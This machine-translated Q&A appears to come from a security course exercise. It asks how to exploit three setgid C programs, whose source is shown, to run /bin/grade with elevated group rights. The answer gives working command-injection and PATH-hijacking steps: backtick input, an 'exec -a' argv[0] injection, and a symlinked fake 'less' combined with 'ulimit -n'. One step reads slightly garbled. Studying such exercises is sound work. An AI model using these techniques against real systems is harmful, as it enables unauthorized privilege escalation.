如何使用set-guid(即设置组标识)漏洞来执行具有有限权限的文件?

时间:2015-10-03 08:53:09

标签: c linux security

如何使用set-guid位漏洞执行/bin/grade使用以下3个易受攻击的程序拥有的文件root?我不是root用户,也不是bsp *组的一部分,因此我对这些程序的访问仅限于阅读和阅读。只执行。对于文件/bin/grade,我只有读取权限,但我想将其作为组bsp *执行。

-rwxr-sr-x 1 root bsp3    9673 Sep 25  2012 prog2
-rwxr-sr-x 1 root bsp4   10724 Sep 25  2012 prog3
-rwxr-sr-x 1 root bsp5    9557 Sep 25  2012 prog4

3个程序是包含以下C代码的二进制文件:

// PROG2:

int main(int argc, char **argv)
{
  /* set up command buffer */
  char cmdbuf[128] = "export IFS=' \t\n'; /usr/bin/file ";
  char *input = cmdbuf + strlen(cmdbuf);
  int len = sizeof(cmdbuf) - (strlen(cmdbuf) + 1);

  gid_t egid = getegid();
  setregid(egid, egid);

  /* read input -- use safe function to prevent buffer overrun */
  fprintf(stdout, "Please enter a filename: ");
  fgets(input, len, stdin);

  /* sanitize input -- replace unsafe shell characters */
  for (; *input != '\0'; ++input) {
    switch (*input) {
    case '|': case '&':
    case '<': case '>':
    case '!': case '$':
    case ';':
      *input = ' ';
      break;
    }
  }

  /* execute command */
  system(cmdbuf);

  return 0;
}

// PROG3:

char cmdbuf[128] = "echo interrupt signal caught, terminating ";
char *progname;

/*
 * Handle a ^C keyboard interrupt in case the program is running
 * too long and the user terminates.
 */
void handle_signal(int sig)
{
  int len = sizeof(cmdbuf) - (strlen(cmdbuf) + 1);
  if (strlen(progname) > len)
    progname[len] = '\0';
  strcat(cmdbuf, progname);

  system(cmdbuf);
  exit(1);
}

void usage()
{
  printf("%s <n> where 0 < n <= 5.000\n", progname);
  exit(1);
}

/*
 * The program takes one argument line parameter n (which has to be a
 * positive integer input parameter) and then prints out the first n
 * prime numbers.
 */
int main(int argc, char **argv)
{
  struct sigaction sa;
  int cnt, N, found;
  unsigned long candidate, divisor;

  gid_t egid = getegid();
  setregid(egid, egid);

  /* set up signal handling */
  memset(&sa, sizeof(struct sigaction), 0);
  sa.sa_handler = handle_signal;
  sigaction(SIGINT, &sa, NULL);


  /* process argument */
  progname = argv[0];
  if (argc != 2)
    usage();
  N = strtol(argv[1], NULL, 10);
  if ((N <= 0) || (N > 5000))
    usage();


  /* calculate prime numbers -- simple sieve */
  candidate = 1;
  for (cnt = 0; cnt < N; ++cnt) {

    for (;;) {
      found = 1;
      divisor = 2;
      candidate += 1;

      while (divisor <= candidate/2) {
        if ((candidate % divisor) == 0) {
          found = 0;
          break;
        }
        else
          ++divisor;
      }
      if (found)
        break;
    }
    printf("%ld\n", candidate);
  }

  return 0;
}

// PROG4:

int main(int argc, char **argv) {

  FILE *file = fopen("/etc/passwd","r");
  if (file==NULL)
    {
      printf("Oh no, first open failed!\n");
      system("less /usr/local/share/error.txt");
      /* Mayday mayday! Bailing out */
      exit(1);
    }
  FILE *file2 = fopen("/etc/passwd","r");
  if (file2==NULL)
    {
      fclose(file);
      printf("Oh no, second open failed!\n");
      system("less /usr/local/share/error.txt");
      /* Mayday mayday! Bailing out */
      exit(1);
    }
  FILE *file3 = fopen("/etc/passwd","r");
  if (file3==NULL)
    {
      fclose(file);
      fclose(file2);
      printf("Oh no, third open failed!\n");
      system("less /usr/local/share/error.txt");
      /* Mayday mayday! Bailing out */
      exit(1);
    }
  FILE *file4 = fopen("/etc/passwd","r");
  if (file4==NULL)
    {
      fclose(file);
      fclose(file2);
      fclose(file3);
      printf("Oh no, fourth open failed!\n");
      system("less /usr/local/share/error.txt");
      /* Mayday mayday! Bailing out */
      exit(1);
    }

  /* Imagine we are doing something very important and useful here... */

  printf("I managed to successfully open the /etc/passwd file 4 times! I am the king yeahaaaa!\n\n");
  printf("Never think you've seen the last of anything. Eudora Welty\n\n");

  return 0;
}

1 个答案:

答案 0 :(得分:0)

这个问题可以通过利用shell注入漏洞来解决。

对于prog2:

$ /usr/local/bin/prog2

出现提示时,输入/bin/grade作为杀菌剂忘记解决的特殊字符`中的文件名。

对于prog3:

$ exec -a “;/bin/grade” /usr/local/bin/prog3 5000

但你必须快速点击Ctrl+C以便调用中断信号功能。

对于prog4:

$ cd ~/
$ export PATH=/path/to/your/home:$PATH //prepend the path to your current/home directory so that the system looks there for `less`
$ ln -s -f /bin/grade less
$ ulimit -n 6
$ /usr/local/bin/prog4